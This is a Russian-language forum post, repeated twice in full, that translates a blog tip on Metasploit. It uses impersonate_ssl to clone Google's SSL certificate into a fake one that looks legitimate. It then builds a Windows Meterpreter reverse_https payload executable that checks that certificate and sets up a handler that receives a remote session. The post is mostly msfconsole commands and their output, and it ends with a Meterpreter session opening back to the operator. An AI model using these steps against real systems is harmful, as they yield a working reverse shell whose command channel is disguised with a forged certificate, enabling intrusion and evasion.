grimnir
22.06.2015, 12:25
Хочу поделиться с вами простым способом защты вашего подключения через Meterpreter через проверку сертификата.
Начнем с генерации сертификата в формате PEM. Огромная благодарность за модуль impersonate_ssl ,созданый Chris John Riley ,который позволяет сгенерировать сертификат на основе информации с сайта, используя параметр RHOSTв модуле.Это позволяет создать сертификат, который выглядит полностью легитимным.Приведу пример ,я буду использовать Googles SSL чтобы создать мой фейковый
Code:
msf > use auxiliary/gather/impersonate_ssl
msf auxiliary(impersonate_ssl) > set RHOST www.google.com
RHOST => www.google.com
msf auxiliary(impersonate_ssl) > run
Connecting to www.google.com:443
Copying certificate from www.google.com:443
/C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com
Beginning export of certificate files
Creating looted key/crt/pem files for www.google.com:443
[+] key: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_k_189227.key
[+] crt: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_c_767214.crt
[+] pem: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
Auxiliary module execution completed
msf auxiliary(impersonate_ssl) >
После создания сертификата я могу создать HTTP или HTTPS payload и указать ему путь до сертификата в PEM формате ,который будет использован для проверки соединения. Для этого установим параметр stagerverifysslcert в true а в параметре HANDLERSSLCERTукажем путь до сертификата:
Code:
msf > use payload/windows/meterpreter/reverse_http
msf payload(reverse_http) > set stagerverifysslcert true
stagerverifysslcert => true
msf payload(reverse_http) > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > set stagerverifysslcert true
stagerverifysslcert => true
msf payload(reverse_https) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
msf payload(reverse_https) > set LHOST 192.168.1.211
LHOST => 192.168.1.211
msf payload(reverse_https) > set LPORT 8081
LPORT => 8081
msf payload(reverse_https) > generate -t exe -f /tmp/payload1.exe
Writing 73802 bytes to /tmp/payload1.exe...
После создания exe мне нужно создать соединение и снова я использую ,как в примере выше,PEM сертификат.Так что соединение использует SHA1 хэш для проверки подлинности. Снова укажем в параметре HANDLERSSLCERTпуть до сертификата ,а параметр stagerverifysslcert установим в true:
Code:
msf payload(reverse_https) > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.211
LHOST => 192.168.1.211
msf exploit(handler) > set LPORT 8081
LPORT => 8081
msf exploit(handler) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
msf exploit(handler) > set stagerverifysslcert true
stagerverifysslcert => true
msf exploit(handler) > exploit -j
Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884
Exploit running as background job.
После запуска пейлода на удаленой системе, мы увидим вертифицированую проверку сессии
Code:
msf exploit(handler) > Starting the payload handler...
192.168.1.104:56107 (UUID: db09abc1d1831687/x86=1/windows=1/2015-06-11T12:28:50Z) Staging Native payload ...
Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884
Meterpreter session 1 opened (192.168.1.211:8081 -> 192.168.1.104:56107) at 2015-06-11 08:28:51 -0400
http://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation
Начнем с генерации сертификата в формате PEM. Огромная благодарность за модуль impersonate_ssl ,созданый Chris John Riley ,который позволяет сгенерировать сертификат на основе информации с сайта, используя параметр RHOSTв модуле.Это позволяет создать сертификат, который выглядит полностью легитимным.Приведу пример ,я буду использовать Googles SSL чтобы создать мой фейковый
Code:
msf > use auxiliary/gather/impersonate_ssl
msf auxiliary(impersonate_ssl) > set RHOST www.google.com
RHOST => www.google.com
msf auxiliary(impersonate_ssl) > run
Connecting to www.google.com:443
Copying certificate from www.google.com:443
/C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com
Beginning export of certificate files
Creating looted key/crt/pem files for www.google.com:443
[+] key: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_k_189227.key
[+] crt: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_c_767214.crt
[+] pem: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
Auxiliary module execution completed
msf auxiliary(impersonate_ssl) >
После создания сертификата я могу создать HTTP или HTTPS payload и указать ему путь до сертификата в PEM формате ,который будет использован для проверки соединения. Для этого установим параметр stagerverifysslcert в true а в параметре HANDLERSSLCERTукажем путь до сертификата:
Code:
msf > use payload/windows/meterpreter/reverse_http
msf payload(reverse_http) > set stagerverifysslcert true
stagerverifysslcert => true
msf payload(reverse_http) > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > set stagerverifysslcert true
stagerverifysslcert => true
msf payload(reverse_https) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
msf payload(reverse_https) > set LHOST 192.168.1.211
LHOST => 192.168.1.211
msf payload(reverse_https) > set LPORT 8081
LPORT => 8081
msf payload(reverse_https) > generate -t exe -f /tmp/payload1.exe
Writing 73802 bytes to /tmp/payload1.exe...
После создания exe мне нужно создать соединение и снова я использую ,как в примере выше,PEM сертификат.Так что соединение использует SHA1 хэш для проверки подлинности. Снова укажем в параметре HANDLERSSLCERTпуть до сертификата ,а параметр stagerverifysslcert установим в true:
Code:
msf payload(reverse_https) > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.211
LHOST => 192.168.1.211
msf exploit(handler) > set LPORT 8081
LPORT => 8081
msf exploit(handler) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.co m_p_507862.pem
msf exploit(handler) > set stagerverifysslcert true
stagerverifysslcert => true
msf exploit(handler) > exploit -j
Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884
Exploit running as background job.
После запуска пейлода на удаленой системе, мы увидим вертифицированую проверку сессии
Code:
msf exploit(handler) > Starting the payload handler...
192.168.1.104:56107 (UUID: db09abc1d1831687/x86=1/windows=1/2015-06-11T12:28:50Z) Staging Native payload ...
Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884
Meterpreter session 1 opened (192.168.1.211:8081 -> 192.168.1.104:56107) at 2015-06-11 08:28:51 -0400
http://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation